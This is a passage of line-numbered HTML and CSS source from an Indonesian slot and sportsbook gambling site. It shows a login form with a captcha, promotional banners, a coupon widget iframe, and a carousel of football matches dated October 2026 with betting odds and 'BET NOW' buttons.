font-size: 13px; 1654 margin-bottom: 10px; 1655 } 1656 1657 .team-col { 1658 width: 30%; 1659 } 1660 1661 .score-col { 1662 width: 40%; 1663 } 1664 1665 .team-logo { 1666 width: 42px; 1667 height: 42px; 1668 margin-bottom: 4px; 1669 } 1670 1671 .team-name { 1672 font-size: 12px; 1673 line-height: 1.15; 1674 min-height: 30px; 1675 } 1676 1677 .score-value { 1678 font-size: 22px; 1679 margin-bottom: 8px; 1680 } 1681 1682 .bet-btn { 1683 min-width: 88px; 1684 font-size: 13px; 1685 padding: 8px 14px; 1686 border-radius: 8px; 1687 } 1688 1689 .match-odds-row { 1690 margin-top: 10px; 1691 } 1692 1693 .odds-col, 1694 .odds-col small { 1695 font-size: 11px; 1696 } 1697 1698 .carousel-control-prev, 1699 .carousel-control-next { 1700 width: 34px; 1701 } 1702 1703 .carousel-control-prev-icon, 1704 .carousel-control-next-icon { 1705 width: 2rem; 1706 height: 2rem; 1707 background-size: 50% 50%; 1708 } 1709 1710 .carousel-indicators { 1711 margin-bottom: -2px; 1712 } 1713 1714 .carousel-indicators [data-bs-target] { 1715 width: 7px; 1716 height: 7px; 1717 margin: 0 3px; 1718 } 1719 } 1720 </style> 1721 <!-- Banner SBO End --> 1722 1723 <div class="promosi"> 1724 1725 <!-- Desktop --> 1726 <div class="desktop-only h-100"> 1727 <div class="d-flex align-items-center h-100"> 1728 <a href="/promosi" class="menu-item"> 1729 <i class="menu-item-icon icon-promotion"></i> 1730 <label>PROMOSI</label> 1731 </a> 1732 1733 <a href="/event" class="menu-item"> 1734 <i class="menu-item-icon icon-event"></i> 1735 <label>EVENT</label> 1736 </a> 1737 </div> 1738 </div> 1739 1740 1741 1742 1743 <!--<div class="btn-informasi desktop-only" onclick="document.getElementById('modal-wrapper').style.display='block'"><a class="pointer" href="javascript:page('tentang');" style="text-decoration: none;" data-toggle="tooltip" data-placement="bottom" title="Informasi"><i class="bi bi-info-circle-fill" style="font-size: 16px"></i></a></div>--> 1744 1745 <!-- Mobile --> 1746 1747 <div class="mobile-only" style="padding-top: 24px"> 1748 1749 <div class="d-flex gap-3 justify-content-center align-items-center"> 1750 <a href="/?desktop" style="display: grid; place-items: center; font-size: 1.2rem; cursor: pointer; color: var(--menu-item-color)">Desktop</a> 1751 <div style="height: 1.1rem; width: 1.5px; background: var(--menu-item-color)"></div> 1752 1753 <a href="/wap" style="display: grid; place-items: center; font-size: 1.2rem; cursor: pointer; color: var(--menu-item-color)">Wap</a> 1754 </div> 1755 1756 1757 </div> 1758 </div> 1759 1760 </div> 1761 1762 </header> 1763 1764 1765 1766 <div id="marquee" class="marquee desktop-only"> 1767 <div class="marquee-content py-2"> 1768 <div class="d-flex
1768align-items-center gap-2"> 1769 <div id="timenow" class="desktop-only" style="white-space: nowrap;"></div> 1770 <i class="bi bi-megaphone-fill desktop-only"></i> 1771 </div> 1772 <div class="running" style="padding-left: 8px; padding-right: 32px"> 1773 <div class="broadcast" style="width: 100%">Selamat Datang Di Situs Slot777 Terpercaya Resmi Dengan Minimal Bet 400 Rupiah</div> 1774 </div> 1775 <div class="d-flex align-items-center gap-2"> 1776 <div id="desktoplogin" class="desktop-only"> 1777 <form class="login-form form" role="form"> 1778 <div id="msgbox" style="margin-right: 8px; color: #b29459; font-size: 1rem; white-space:nowrap;"></div> 1779 <div class="input-group login-field"> 1780 <span class="input-group-text prepend mobile-only "><div class="h-100 center"><i class="bi bi-person-circle prepend-icon"></i></div></span> 1781 <input type="text" name="username" class="form-control login-input-field username" placeholder="Nama Akun" aria-label="Username"> 1782 </div> 1783 1784 1785 1786 <div class="input-group login-field"> 1787 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 1788 <input type="password" name="password" class="form-control login-input-field password" placeholder="Kata Sandi" aria-label="Password"> 1789 </div> 1790 1791 <!-- captcha --> 1792 1793 <div class="verifikasiform" style=" "> 1794 <div style="display: flex; gap: 2px;"> 1795 <span id="verifikasi"><img src="/capimg.php" width="40" height="30" style="border:1px #999 solid;"></span> 1796 <input type="text" class="form-control login-field" name="verifikasi" id="verform" style="width:40px;height: 30px !important" autocomplete="off"> 1797 </div> 1798 1799 </div> 1800 <input type="hidden" name="verif" id="verifval" class="verifval" value="1"> 1801 1802 <!-- end captcha --> 1803 1804 1805 <button type="submit" value="Masuk" class="btn btn-masuk fw-bold p-0 px-2 submit">Masuk</button> 1806 <button type="button" class="btn btn-daftar btn-daftar-desktop fw-bold p-0 px-2 desktop-only" onclick="window.location.href='/register'">Daftar</button> 1807 1808 1809 <input type="hidden" name="task" value="login"> 1810 <input type="hidden" name="iscaptchalogin" value="1"> 1811 <input type="hidden" name="logindesktop" value="JOl93fWTs4LvpkCgUv0dkSGlewAVKU20tjm7B8EynZE="> 1812 <input type="hidden" name="isrecaptchalogin" value="0"> 1813 </form> 1814 1815 </div> 1816 1817 1818 <!--<a href="/event">--> 1819 <!-- <img src="https://img.viva88athenae.com//btnevent.png" alt="EVENT" height="24px"/>--> 1820 <!--</a>--> 1821 </div> 1822 </div> 1823 </div> 1824 1825 1826 1827 <!--Informasi Modal --> 1828 <div id="modal-wrapper" class="modal" style=" background:none;"> 1829 1830 <div class="slideDown" id="informasi-menu"> 1831 <div class="row"> 1832 <div class="col-xs-3" style="padding-right:0px; width:164px"> 1833 <div id="informasi-logo"> 1834 <img src="/images/logoweb.png" width="120px"/> 1835 </div> 1836 <div class="menuleft"> 1837 1838 <a class="active btn-black" href="javascript:toggleInformasi('tentang');">TENTANG KAMI</a> 1839 <a class="btn-black" href="javascript:toggleInformasi('bantuan');">BANTUAN</a> 1840 <a class="btn-black" href="javascript:toggleInformasi('peraturan');">PERATURAN</a> 1841 <a class="btn-black" href="javascript:toggleInformasi('bank');">INFORMASI BANK</a> 1842 <a class="btn-black" href="javascript:toggleInformasi('hubungi');">HUBUNGI KAMI</a> 1843 <a class="btn-black" href="javascript:toggleInformasi('privasi');">KEBIJAKAN PRIVASI</a> 1844 <a class="btn-black" href="javascript:toggleInformasi('cookies');">PERSETUJUAN COOKIES</a> 1845 1846 </div> 1847 </div> 1848 <div class="col-xs-9" id="informasi-content" style="position: relative"> 1849 <div onclick="document.getElementById('modal-wrapper').style.display='none'" class="closebox" title="Close Informasi">×</div> 1850 <div style="margin: 32px 0; height:600px; overflow: auto; z-index:1;" id="content2"> 1851 </div> 1852 </div> 1853 1854 </div> 1855 </div> 1856 </div> 1857 1858 1859 1860 1861 <div class="contentdata"> 1862 <div id="content-primary" class="p-0"> 1863 1864 <div class="desktop-only"> 1865<div id="mobile-slider" class="carousel slide" data-bs-ride="carousel" style="height: 100%"> 1866 <div class="carousel-indicators"> 1867 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="0" class="active" aria-current="true" aria-label="Slide 1"></button> 1868 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="1" aria-label="Slide 2"></button> 1869 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="2" aria-label="Slide 3"></button> 1870 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="3" aria-label="Slide 4"></button> 1871 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="4" aria-label="Slide 5"></button> 1872 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="5" aria-label="Slide 6"></button> 1873 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="6" aria-label="Slide 7"></button> 1874 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="7" aria-label="Slide 8"></button> 1875 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="8" aria-label="Slide 9"></button> 1876 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="9" aria-label="Slide 10"></button> 1877 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="10" aria-label="Slide 11"></button> 1878 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="11" aria-label="Slide 12"></button> 1879 <button type="button" data-bs-target="#mobile-slider" data-bs-slide-to="12" aria-label="Slide 13"></button> 1880 </div> 1881 <div class="carousel-inner" style="height: 100%"> 1882 <div class="carousel-item active" style="height: 100%"> 1883 <img src="/images/upload-Slides-20260403172843.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1884 </div> 1885 <div class="carousel-item " style="height: 100%"> 1886 <img src="/images/upload-Slides-20260721194304.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1887 </div> 1888 <div class="carousel-item " style="height: 100%"> 1889 <img src="/images/upload-Slides-20251224202957.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1890 </div> 1891 <div class="carousel-item " style="height: 100%"> 1892 <img src="/images/upload-Slides-20250725142040.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1893 </div> 1894 <div class="carousel-item " style="height: 100%"> 1895 <img src="/images/upload-Slides-20260114143150.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1896 </div> 1897 <div class="carousel-item " style="height: 100%"> 1898 <img src="/images/upload-Slides-20251209194913.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1899 </div> 1900 <div class="carousel-item " style="height: 100%"> 1901 <img src="/images/upload-Slides-20240807194404.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1902 </div> 1903 <div class="carousel-item " style="height: 100%"> 1904 <img src="/images/upload-Slides-20231130174157.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1905 </div> 1906 <div class="carousel-item " style="height: 100%"> 1907 <img src="/images/upload-Slides-20251223192623.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1908 </div> 1909 <div class="carousel-item " style="height: 100%"> 1910 <img src="/images/upload-Slides-20230831215021.jpg" class="d-block w-100 banner" alt="Bonus Turnover 3 Hari 1x 0,2% - Harum4D" style="height: 100%"> 1911 </div> 1912 <div class="carousel-item " style="height: 100%"> 1913 <img src="/images/upload-Slides-20230831183250.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1914 </div> 1915 <div class="carousel-item " style="height: 100%"> 1916 <img src="https://img.viva88athenae.com/banner/mgl-25.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1917 </div> 1918 <div class="carousel-item " style="height: 100%"> 1919 <img src="https://img.viva88athenae.com/banner/slider-fgs.jpg" class="d-block w-100 banner" alt="" style="height: 100%"> 1920 </div> 1921 </div> 1922</div> 1923 1924</div> 1925 <div class="mobile-only"><div class="banner shadow" style="margin:20px 20px 20px 20px; border:solid 2px #FFF; border-radius: 20px; box-shadow:rgba(0,0,0,1) 0px 0px 10px 0px; position: relative;"> 1926 <a > 1927 <img src="/images/upload-SlidesMobile-20260114142939.jpg" alt="" style="border-radius: 20px; top: 0; left: 0; width: 100%; height: 100%; position: absolute;"/> 1928 </a> 1929</div> 1930<div class="banner shadow" style="margin:20px 20px 20px 20px; border:solid 2px #FFF; border-radius: 20px; box-shadow:rgba(0,0,0,1) 0px 0px 10px 0px; position: relative;"> 1931 <img src="https://img.viva88athenae.com/pop/mobile-fgs.jpg" width="100%" alt="" style="border-radius: 20px; top: 0; left: 0; width: 100%; height: 100%; position: absolute;"> 1932</div></div> 1933 1934 </div> 1935 </div> 1936 1937 1938 1939 <div class="widget-kupon"> 1940 <!-- <div style="position:relative; width:100%;"> --> 1941 <iframe class="iframe-kupon" src="https://fkupon.com/widget2.php"></iframe> 1942 <div onclick="scrollToLoginForm('kupon')" style="position:absolute; top:0; left:0; right:0; bottom:0; cursor:pointer; z-index:5;"></div> 1943 <!-- </div> --> 1944 </div> 1945 1946 <!-- BANNER SBO MOBILE --> 1947 <div class="widget-sbo mobile-only"> 1948 <div class="match-slider-wrap"> 1949 <div id="sboMatchCarouselMobile" class="carousel slide" data-bs-ride="carousel" data-bs-interval="4500"> 1950 1951 <div class="carousel-indicators"> 1952 <button 1953 type="button" 1954 data-bs-target="#sboMatchCarouselMobile" 1955 data-bs-slide-to="0" 1956 class="active" 1957 aria-current="true" aria-label="Slide 1"> 1958 </button> 1959 <button 1960 type="button" 1961 data-bs-target="#sboMatchCarouselMobile" 1962 data-bs-slide-to="1" 1963 class="" 1964 aria-label="Slide 2"> 1965 </button> 1966 <button 1967 type="button" 1968 data-bs-target="#sboMatchCarouselMobile" 1969 data-bs-slide-to="2" 1970 class="" 1971 aria-label="Slide 3"> 1972 </button> 1973 <button 1974 type="button" 1975 data-bs-target="#sboMatchCarouselMobile" 1976 data-bs-slide-to="3" 1977 class="" 1978 aria-label="Slide 4"> 1979 </button> 1980 <button 1981 type="button" 1982 data-bs-target="#sboMatchCarouselMobile" 1983 data-bs-slide-to="4" 1984 class="" 1985 aria-label="Slide 5"> 1986 </button> 1987 <button 1988 type="button" 1989 data-bs-target="#sboMatchCarouselMobile" 1990 data-bs-slide-to="5" 1991 class="" 1992 aria-label="Slide 6"> 1993 </button> 1994 <button 1995 type="button" 1996 data-bs-target="#sboMatchCarouselMobile" 1997 data-bs-slide-to="6" 1998 class="" 1999 aria-label="Slide 7"> 2000 </button> 2001 <button 2002 type="button" 2003 data-bs-target="#sboMatchCarouselMobile" 2004 data-bs-slide-to="7" 2005 class="" 2006 aria-label="Slide 8"> 2007 </button> 2008 <button 2009 type="button" 2010 data-bs-target="#sboMatchCarouselMobile" 2011 data-bs-slide-to="8" 2012 class="" 2013 aria-label="Slide 9"> 2014
2014 </button> 2015 <button 2016 type="button" 2017 data-bs-target="#sboMatchCarouselMobile" 2018 data-bs-slide-to="9" 2019 class="" 2020 aria-label="Slide 10"> 2021 </button> 2022 </div> 2023 2024 <div class="carousel-inner"> 2025 <div class="carousel-item active"> 2026 <div class="row g-3"> 2027 <div class="col-12"> 2028 <div class="match-card h-100"> 2029 <div class="league-name"> 2030 ENGLISH PREMIER LEAGUE </div> 2031 2032 <div class="kickoff-time"> 2033 October 10, 2026 â 18:30 WIB </div> 2034 2035 <div class="match-main-row"> 2036 <div class="team-col"> 2037 <img 2038 src="https://cdn.sportnanoapi.com/football/team/d6f5debc456da1119256ab66462ab510.png" 2039 alt="Arsenal" 2040 class="team-logo" 2041 > 2042 <div class="team-name"> 2043 Arsenal </div> 2044 </div> 2045 2046 <div class="score-col"> 2047 <div class="score-value"> 2048 0 : 0 </div> 2049 2050 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100346')"> 2051 BET NOW 2052 </a> 2053 </div> 2054 2055 <div class="team-col"> 2056 <img 2057 src="https://cdn.sportnanoapi.com/football/team/cd46d2ed1d364308dc206c97b48ce556.png" 2058 alt="Leeds United" 2059 class="team-logo" 2060 > 2061 <div class="team-name"> 2062 Leeds United </div> 2063 </div> 2064 </div> 2065 2066 <div class="match-odds-row"> 2067 <div class="odds-col"> 2068 <span> 2069 0.75 <small>0.50</small> 2070 </span> 2071 </div> 2072 2073 <div class="odds-spacer"></div> 2074 2075 <div class="odds-col">
2076 <span> 2077 -0.75 <small>-0.60</small> 2078 </span> 2079 </div> 2080 </div> 2081 </div> 2082 </div> 2083 </div> 2084 </div> 2085 <div class="carousel-item "> 2086 <div class="row g-3"> 2087 <div class="col-12"> 2088 <div class="match-card h-100"> 2089 <div class="league-name"> 2090 ENGLISH PREMIER LEAGUE </div> 2091 2092 <div class="kickoff-time"> 2093 October 10, 2026 â 21:00 WIB </div> 2094 2095 <div class="match-main-row"> 2096 <div class="team-col"> 2097 <img 2098 src="https://cdn.sportnanoapi.com/football/team/a0cf8f551e9440acb3f4ff533dcc58a4.png" 2099 alt="Chelsea" 2100 class="team-logo" 2101 > 2102 <div class="team-name"> 2103 Chelsea </div> 2104 </div> 2105 2106 <div class="score-col"> 2107 <div class="score-value"> 2108 0 : 0 </div> 2109 2110 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100428')"> 2111 BET NOW 2112 </a> 2113 </div> 2114 2115 <div class="team-col"> 2116 <img 2117 src="https://cdn.sportnanoapi.com/football/team/240b30d333c97d293752ab7afd77ccd6.png" 2118 alt="Bournemouth AFC" 2119 class="team-logo" 2120 > 2121 <div class="team-name"> 2122 Bournemouth AFC </div> 2123 </div> 2124 </div> 2125 2126 <div class="match-odds-row"> 2127 <div class="odds-col"> 2128 <span> 2129 0.5 <small>0.66</small> 2130 </span> 2131 </div> 2132 2133 <div class="odds-spacer"></div> 2134 2135 <div class="odds-col">
2136 <span> 2137 -0.5 <small>-0.76</small> 2138 </span> 2139 </div> 2140 </div> 2141 </div> 2142 </div> 2143 </div> 2144 </div> 2145 <div class="carousel-item "> 2146 <div class="row g-3"> 2147 <div class="col-12"> 2148 <div class="match-card h-100"> 2149 <div class="league-name"> 2150 SPAIN LA LIGA </div> 2151 2152 <div class="kickoff-time"> 2153 October 10, 2026 â 23:30 WIB </div> 2154 2155 <div class="match-main-row"> 2156 <div class="team-col"> 2157 <img 2158 src="https://cdn.sportnanoapi.com/football/team/f378eb1ea04e53999b89051aa3244de6.png" 2159 alt="Barcelona" 2160 class="team-logo" 2161 > 2162 <div class="team-name"> 2163 Barcelona </div> 2164 </div> 2165 2166 <div class="score-col"> 2167 <div class="score-value"> 2168 0 : 0 </div> 2169 2170 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215606')"> 2171 BET NOW 2172 </a> 2173 </div> 2174 2175 <div class="team-col"> 2176 <img 2177 src="https://cdn.sportnanoapi.com/football/team/36bf5bf0c8fdf08c1270124808f060e1.png" 2178 alt="Getafe" 2179 class="team-logo" 2180 > 2181 <div class="team-name"> 2182 Getafe </div> 2183 </div> 2184 </div> 2185 2186 <div class="match-odds-row"> 2187 <div class="odds-col"> 2188 <span> 2189 2.5 <small>0.82</small> 2190 </span> 2191 </div> 2192 2193 <div class="odds-spacer"></div> 2194 2195 <div class="odds-col">
2196 <span> 2197 -2.5 <small>-0.92</small> 2198 </span> 2199 </div> 2200 </div> 2201 </div> 2202 </div> 2203 </div> 2204 </div> 2205 <div class="carousel-item "> 2206 <div class="row g-3"> 2207 <div class="col-12"> 2208 <div class="match-card h-100"> 2209 <div class="league-name"> 2210 ENGLISH PREMIER LEAGUE </div> 2211 2212 <div class="kickoff-time"> 2213 October 10, 2026 â 21:00 WIB </div> 2214 2215 <div class="match-main-row"> 2216 <div class="team-col"> 2217 <img 2218 src="https://cdn.sportnanoapi.com/football/team/a3c32d6a906083118cac2cb796edaab3.png" 2219 alt="Aston Villa" 2220 class="team-logo" 2221 > 2222 <div class="team-name"> 2223 Aston Villa </div> 2224 </div> 2225 2226 <div class="score-col"> 2227 <div class="score-value"> 2228 0 : 0 </div> 2229 2230 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100395')"> 2231 BET NOW 2232 </a> 2233 </div> 2234 2235 <div class="team-col"> 2236 <img 2237 src="https://cdn.sportnanoapi.com/football/team/60f1c7788be3148a370dbf59f914abfe.png" 2238 alt="Brentford" 2239 class="team-logo" 2240 > 2241 <div class="team-name"> 2242 Brentford </div> 2243 </div> 2244 </div> 2245 2246 <div class="match-odds-row"> 2247 <div class="odds-col"> 2248 <span> 2249 0.00 <small>-0.97</small> 2250 </span> 2251 </div> 2252 2253 <div class="odds-spacer"></div> 2254 2255 <div class="odds-col">
2256 <span> 2257 0.00 <small>0.87</small> 2258 </span> 2259 </div> 2260 </div> 2261 </div> 2262 </div> 2263 </div> 2264 </div> 2265 <div class="carousel-item "> 2266 <div class="row g-3"> 2267 <div class="col-12"> 2268 <div class="match-card h-100"> 2269 <div class="league-name"> 2270 ENGLISH PREMIER LEAGUE </div> 2271 2272 <div class="kickoff-time"> 2273 October 10, 2026 â 21:00 WIB </div> 2274 2275 <div class="match-main-row"> 2276 <div class="team-col"> 2277 <img 2278 src="https://cdn.sportnanoapi.com/football/team/957bdc50c307e2a9b526b34b3792da1a.png" 2279 alt="Sunderland" 2280 class="team-logo" 2281 > 2282 <div class="team-name"> 2283 Sunderland </div> 2284 </div> 2285 2286 <div class="score-col"> 2287 <div class="score-value"> 2288 0 : 0 </div> 2289 2290 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100525')"> 2291 BET NOW 2292 </a> 2293 </div> 2294 2295 <div class="team-col"> 2296 <img 2297 src="https://cdn.sportnanoapi.com/football/team/9b43a690d5a09f1e319f036821e8e1d3.png" 2298 alt="Brighton & Hove Albion" 2299 class="team-logo" 2300 > 2301 <div class="team-name"> 2302 Brighton & Hove Albion </div> 2303 </div> 2304 </div> 2305 2306 <div class="match-odds-row"> 2307 <div class="odds-col"> 2308 <span> 2309 0.00 <small>-0.82</small> 2310 </span> 2311 </div> 2312 2313 <div class="odds-spacer"></div> 2314 2315 <div class="odds-col">
2316 <span> 2317 0.00 <small>0.72</small> 2318 </span> 2319 </div> 2320 </div> 2321 </div> 2322 </div> 2323 </div> 2324 </div> 2325 <div class="carousel-item "> 2326 <div class="row g-3"> 2327 <div class="col-12"> 2328 <div class="match-card h-100"> 2329 <div class="league-name"> 2330 ENGLISH PREMIER LEAGUE </div> 2331 2332 <div class="kickoff-time"> 2333 October 10, 2026 â 23:30 WIB </div> 2334 2335 <div class="match-main-row"> 2336 <div class="team-col"> 2337 <img 2338 src="https://cdn.sportnanoapi.com/football/team/d39ce586fd7278342dde33b3090b3f75.png" 2339 alt="Manchester United" 2340 class="team-logo" 2341 > 2342 <div class="team-name"> 2343 Manchester United </div> 2344 </div> 2345 2346 <div class="score-col"> 2347 <div class="score-value"> 2348 0 : 0 </div> 2349 2350 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100582')"> 2351 BET NOW 2352 </a> 2353 </div> 2354 2355 <div class="team-col"> 2356 <img 2357 src="https://cdn.sportnanoapi.com/football/team/8b22ab4041e666b996a2d96f20dea707.png" 2358 alt="Tottenham Hotspur" 2359 class="team-logo" 2360 > 2361 <div class="team-name"> 2362 Tottenham Hotspur </div> 2363 </div> 2364 </div> 2365 2366 <div class="match-odds-row"> 2367 <div class="odds-col"> 2368 <span> 2369 0.5 <small>0.72</small> 2370 </span> 2371 </div> 2372 2373 <div class="odds-spacer"></div> 2374 2375 <div class="odds-col">
2376 <span> 2377 -0.5 <small>-0.82</small> 2378 </span> 2379 </div> 2380 </div> 2381 </div> 2382 </div> 2383 </div> 2384 </div> 2385 <div class="carousel-item "> 2386 <div class="row g-3"> 2387 <div class="col-12"> 2388 <div class="match-card h-100"> 2389 <div class="league-name"> 2390 SPAIN LA LIGA </div> 2391 2392 <div class="kickoff-time"> 2393 October 11, 2026 â 02:00 WIB </div> 2394 2395 <div class="match-main-row"> 2396 <div class="team-col"> 2397 <img 2398 src="https://cdn.sportnanoapi.com/football/team/7dacaa934fe4be00f23c1e209b5ef947.png" 2399 alt="Real Madrid" 2400 class="team-logo" 2401 > 2402 <div class="team-name"> 2403 Real Madrid </div> 2404 </div> 2405 2406 <div class="score-col"> 2407 <div class="score-value"> 2408 0 : 0 </div> 2409 2410 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215615')"> 2411 BET NOW 2412 </a> 2413 </div> 2414 2415 <div class="team-col"> 2416 <img 2417 src="https://cdn.sportnanoapi.com/football/team/aee62af96a956756cc29fe4831286357.png" 2418 alt="Villarreal" 2419 class="team-logo" 2420 > 2421 <div class="team-name"> 2422 Villarreal </div> 2423 </div> 2424 </div> 2425 2426 <div class="match-odds-row"> 2427 <div class="odds-col"> 2428 <span> 2429 1 <small>0.55</small> 2430 </span> 2431 </div> 2432 2433 <div class="odds-spacer"></div> 2434 2435 <div class="odds-col">
2436 <span> 2437 -1 <small>-0.65</small> 2438 </span> 2439 </div> 2440 </div> 2441 </div> 2442 </div> 2443 </div> 2444 </div> 2445 <div class="carousel-item "> 2446 <div class="row g-3"> 2447 <div class="col-12"> 2448 <div class="match-card h-100"> 2449 <div class="league-name"> 2450 ITALY SERIE A </div> 2451 2452 <div class="kickoff-time"> 2453 October 10, 2026 â 22:59 WIB </div> 2454 2455 <div class="match-main-row"> 2456 <div class="team-col"> 2457 <img 2458 src="https://cdn.sportnanoapi.com/football/team/aa2245702c40f77799a5ad4b119581a8.png" 2459 alt="Inter Milan" 2460 class="team-logo" 2461 > 2462 <div class="team-name"> 2463 Inter Milan </div> 2464 </div> 2465 2466 <div class="score-col"> 2467 <div class="score-value"> 2468 0 : 0 </div> 2469 2470 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145618118')"> 2471 BET NOW 2472 </a> 2473 </div> 2474 2475 <div class="team-col"> 2476 <img 2477 src="https://cdn.sportnanoapi.com/football/team/9fadd87d190982c8082dddf1567e0b9b.png" 2478 alt="Parma Calcio" 2479 class="team-logo" 2480 > 2481 <div class="team-name"> 2482 Parma Calcio </div> 2483 </div> 2484 </div> 2485 2486 <div class="match-odds-row"> 2487 <div class="odds-col"> 2488 <span> 2489 2 <small>0.65</small> 2490 </span> 2491 </div> 2492 2493 <div class="odds-spacer"></div> 2494 2495 <div class="odds-col">
2496 <span> 2497 -2 <small>-0.75</small> 2498 </span> 2499 </div> 2500 </div> 2501 </div> 2502 </div> 2503 </div> 2504 </div> 2505 <div class="carousel-item "> 2506 <div class="row g-3"> 2507 <div class="col-12"> 2508 <div class="match-card h-100"> 2509 <div class="league-name"> 2510 SPAIN LA LIGA </div> 2511 2512 <div class="kickoff-time"> 2513 October 10, 2026 â 19:00 WIB </div> 2514 2515 <div class="match-main-row"> 2516 <div class="team-col"> 2517 <img 2518 src="https://cdn.sportnanoapi.com/football/team/5005d8feab109ce64e40beb98073cc1f.png" 2519 alt="Rayo Vallecano" 2520 class="team-logo" 2521 > 2522 <div class="team-name"> 2523 Rayo Vallecano </div> 2524 </div> 2525 2526 <div class="score-col"> 2527 <div class="score-value"> 2528 0 : 0 </div> 2529 2530 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215614')"> 2531 BET NOW 2532 </a> 2533 </div> 2534 2535 <div class="team-col"> 2536 <img 2537 src="https://cdn.sportnanoapi.com/football/team/abbb31d42c55612737713aac6567a226.png" 2538 alt="Athletic Bilbao" 2539 class="team-logo" 2540 > 2541 <div class="team-name"> 2542 Athletic Bilbao </div> 2543 </div> 2544 </div> 2545 2546 <div class="match-odds-row"> 2547 <div class="odds-col"> 2548 <span> 2549 0.00 <small>0.98</small> 2550 </span> 2551 </div> 2552 2553 <div class="odds-spacer"></div> 2554 2555 <div class="odds-col">
2556 <span> 2557 0.00 <small>0.92</small> 2558 </span> 2559 </div> 2560 </div> 2561 </div> 2562 </div> 2563 </div> 2564 </div> 2565 <div class="carousel-item "> 2566 <div class="row g-3"> 2567 <div class="col-12"> 2568 <div class="match-card h-100"> 2569 <div class="league-name"> 2570 ENGLISH PREMIER LEAGUE </div> 2571 2572 <div class="kickoff-time"> 2573 October 11, 2026 â 22:30 WIB </div> 2574 2575 <div class="match-main-row"> 2576 <div class="team-col"> 2577 <img 2578 src="https://cdn.sportnanoapi.com/football/team/1cb3d08adac0e2dc1c4f10429d055bfe.png" 2579 alt="Liverpool" 2580 class="team-logo" 2581 > 2582 <div class="team-name"> 2583 Liverpool </div> 2584 </div> 2585 2586 <div class="score-col"> 2587 <div class="score-value"> 2588 0 : 0 </div> 2589 2590 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100751')"> 2591 BET NOW 2592 </a> 2593 </div> 2594 2595 <div class="team-col"> 2596 <img 2597 src="https://cdn.sportnanoapi.com/football/team/c4a6528a2ee147b99c9885ef24385a4e.png" 2598 alt="Manchester City" 2599 class="team-logo" 2600 > 2601 <div class="team-name"> 2602 Manchester City </div> 2603 </div> 2604 </div> 2605 2606 <div class="match-odds-row"> 2607 <div class="odds-col"> 2608 <span> 2609 0.00 <small>-0.83</small> 2610 </span> 2611 </div> 2612 2613 <div class="odds-spacer"></div> 2614 2615 <div class="odds-col">
2616 <span> 2617 0.00 <small>0.73</small> 2618 </span> 2619 </div> 2620 </div> 2621 </div> 2622 </div> 2623 </div> 2624 </div> 2625 </div> 2626 2627 <button class="carousel-control-prev" type="button" data-bs-target="#sboMatchCarouselMobile" data-bs-slide="prev"> 2628 <span class="carousel-control-prev-icon" aria-hidden="true"></span> 2629 <span class="visually-hidden">Previous</span> 2630 </button> 2631 2632 <button class="carousel-control-next" type="button" data-bs-target="#sboMatchCarouselMobile" data-bs-slide="next"> 2633 <span class="carousel-control-next-icon" aria-hidden="true"></span> 2634 <span class="visually-hidden">Next</span> 2635 </button> 2636 </div> 2637 </div> 2638 </div> 2639 <!-- BANNER SBO MOBILE END --> 2640 2641 2642 <!-- Togel --> 2643 2644 <style> 2645 .togel-desktop { 2646 /*background: var(--togel-background);*/ 2647 background: var(--footer-background); 2648 grid-area: togel-desktop; 2649 position: relative; 2650 } 2651 2652 .togel-mobile { 2653 display: none; 2654 } 2655 2656 .show-more { 2657 position: absolute; 2658 2659 z-index: 999; 2660 bottom: 0px; 2661 width: 100%; 2662 2663 /* background: linear-gradient(0deg, rgba(0,0,0,1) 0%, rgba(0,0,0,0.8) 30%, rgba(0,0,0,0) 60%, rgba(0,0,0,0)); */ 2664 } 2665 2666 .show-more-content { 2667 background: var(--secondary-background); 2668 opacity: .7; 2669 display: grid; 2670 place-items: center; 2671 height: 32px 2672 } 2673 2674 .togel-content { 2675 position: relative; 2676 display: flex; 2677 flex-wrap: wrap; 2678 justify-content: center; 2679 /*display: grid;*/ 2680 /*grid-template-columns: repeat(10, 1fr);*/ 2681 gap: 8px 4px; 2682 padding: 16px 0; 2683 } 2684 2685 .see-more { 2686 padding: 16px 0 48px 0; 2687 max-height: 162px; 2688 transition: max-height .75s ease-out; 2689 transition-delay: .1s; 2690 overflow: hidden; 2691 } 2692 2693 .togel-content:hover{ 2694 max-height: 